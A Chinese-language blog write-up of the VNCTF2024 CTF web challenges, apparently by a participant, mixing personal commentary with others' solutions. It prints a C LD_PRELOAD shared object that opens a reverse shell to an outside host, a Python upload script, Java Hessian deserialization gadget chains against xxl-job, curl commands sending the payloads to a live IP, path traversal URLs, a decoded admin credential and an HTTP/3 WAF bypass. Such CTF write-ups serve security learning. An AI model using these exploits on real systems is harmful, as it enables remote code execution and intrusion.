VNCTF2024
VNCTF2024
前言
web 3/8 …..完蛋了
givenphp和cutepath感觉就只差一点,但是就是不知道问题出在哪,烦死了
TEL✌也太强了,AK了web,真神仙啊
checkin
js签到题
TrySent
SentCms,直接搜漏洞,找到个任意文件上传
/user/upload/upload
或/admin/upload/upload
Sentcms任意文件上传漏洞 | Hanayuzu’Blog参照文章复现即可
文章用的是jpg的图片马,但是由于jpg的格式问题,木马不是都能放进每张jpg图片,会在访问时出现问题
所以我改用png的图片马,真好用
codefever_again
当时还在疑惑为什么是again,结束后看到大佬们都知道是西湖论剑2022的题,洞都没修
有意思的是在附件中藏在exp代码
但是刚开始我看到反弹shell,我以为只是题目中某处要用,给个工具给我们利用一下
但是不知道他是干嘛的,然后去搜codefever的CVE
但其实在搜之前,我登陆了管理员账户,发现许多用户都在邮箱处进行利用
发现是email出了问题,这时我回过头来看了下这个代码,发现那不是一把梭脚本吗
直接启动
givenphp
除了checkin最先看的一题,当时的思路直接就是打LD_PRELOAD
,有上传点,禁用了能够直接环境变量RCE的代码
思路这么明确,但是却一直打不通
比赛结束后问了下Boogipop大佬
TEL✌WP
不需要 unsetenv("LD_PRELOAD");
(感觉有点玄学,之前都需要的呀
连TEL✌都在疑惑
so文件内容
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
char *server_ip = "vps";
uint32_t server_port = 114514;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
if (connect(sock, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) != 0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/bash", 0, 0);
}
import requests
url = "http://d19a0faf-ab06-4db1-85a0-806d02bdeb2f.vnctf2024.manqiu.top:80/index.php"
data = {
"upload":1
}
file = {
"file":open('2.so','rb')
}
r = requests.post(url,data=data,files=file)
print(r.text[-45:])
fn = r.text[-45:].strip()
param = {
"challenge":1,
"key":"LD_PRELOAD",
"value":fn,
"guess":'\x00lambda_1'
}
r = requests.get(url,params=param)
print(r.text)
p1ng师傅WP
查看whoami调用的静态链接库
然后劫持函数
#include <stdlib.h>
#include <stdio.h>
void payload() {
system("nl /*");
}
int fflush() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
官方WP
别骂了别骂了
也是劫持函数
噢,跟上面窜连起来了,上面劫持puts不成功是因为用了unsetenv
CutePath
最有心无力的一集,直接发现了遍历任意目录的漏洞,但是就是一直不知道怎么去读flag.txt
,唉,直接卡死
群友说是给flag.txt
改名改到可下载的目录下,但是我也尝试过失败了(不知道咋改的
TEL✌发现了个把文件目录打包的路由
其实你上传一个目录后,点下载也能看到,服了,这么多按钮都试过了,偏偏漏了这个
/chfs/downloaddir/../../../flag.zip
解法二
/chfs/files?filepath=../&_=12541315435
发现base64,解密发现账号密码
YWRtaW46Z2RnbS5lZHUuY25ATTFuOUsxbjlQQGFz
admin:gdgm.edu.cn@M1n9K1n9P@as
登录之后能改名,burp抓包后,转到flag目录
/chfs/files?filepath=../../../flag/flag&_=12541315435
对flag.txt进行改名,从而使它到可下载的目录
但不知道咋改。。。
。。。忘记home
了
Zhi
比赛结束前半小时看一看
ZhiCms,发现CVE,但是作者是赵总,他把文章给删了(呜呜呜,跟西湖论剑时一样,也是查到赵总的CVE,但是把文章给删了
这里只能根据漏洞描述自己打
但是TEL✌好像是进入后台拿shell,太强了 (由于是0day,被锁了看不了
我上面的思路也是出题人想让我们打的
VNCTF2024-ZhiCms & CVE-2024-0603 - 我的文章记录 (pysnow.cn)
师傅太强了,回头再自己复现一下
ezjob
附件叫xxl-job-admin-2.0.1.jar
,看完后像个cms(我把那种项目都叫cms
于是查漏洞
发现是xxl-job是个平台,分为admin和executor两端,然后查到几个漏洞,不知道有没有用
xxl-job 2.2.0的RCE
xxl-job <2.1.2的Hessian反序列化
xxl-job <=2.0.2 hessian反序列化漏洞 (这个好像最贴近版本xxl-job api未授权Hessian2反序列化 - 先知社区 (aliyun.com)
TEL✌WP
https://forum.butian.net/share/2592
好啊,原来是我Boogipop大佬的文章
hessian反序列化
虽然是不出网,没法弹 shell,但是 dns 出网呀 (感觉好神奇
public static void main(String[] args) throws Exception {
PKCS9Attributes pkcs9Attributes = SerializeUtils.createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID,
new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename",
new Object[]{"/tmp/tel1.xslt",SerializeUtils.getFileBytes("telll.xslt")}));
SerializeUtils.setFieldValue(pkcs9Attributes,"attributes",uiDefaults);
FileOutputStream fileOut = new FileOutputStream("exp1.ser");
Hessian2Output out = new Hessian2Output(fileOut);
fileOut.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(pkcs9Attributes);
out.close();
fileOut.close();
}
public static void main(String[] args) throws Exception {
PKCS9Attributes pkcs9Attributes = SerializeUtils.createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process",
"_main", new Object[]{new String[]{"-XT", "-XSL", "/tmp/tel1.xslt"}}));
SerializeUtils.setFieldValue(pkcs9Attributes,"attributes",uiDefaults);
FileOutputStream fileOut = new FileOutputStream("exp2.ser");
Hessian2Output out = new Hessian2Output(fileOut);
fileOut.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(pkcs9Attributes);
out.close();
fileOut.close();
}
dns 外带,拼起来就是 flag 了,flag 在 /flag_is_is_here
(?这是咋知道的)
curl -X POST -H "Content-Type: x-application/hessian" --data-binary @exp1.ser http://119.45.241.186:8989/xxl-job-admin/api
curl -X POST -H "Content-Type: x-application/hessian" --data-binary @exp2.ser http://119.45.241.186:8989/xxl-job-admin/api
看不懂
downdowndown
附件看不了一点,就看懂个gunicorn,还不咋了解
TEL✌WP
http3 访问
gunicorn 是以 HTTP/ 做截断的
这样子绕 waf
docker run --platform linux/amd64 --rm ymuski/curl-http3 curl -k --http3 https://119.45.241.186:2333/GET%20%2FFLAG%20HTTP%2F1.0/public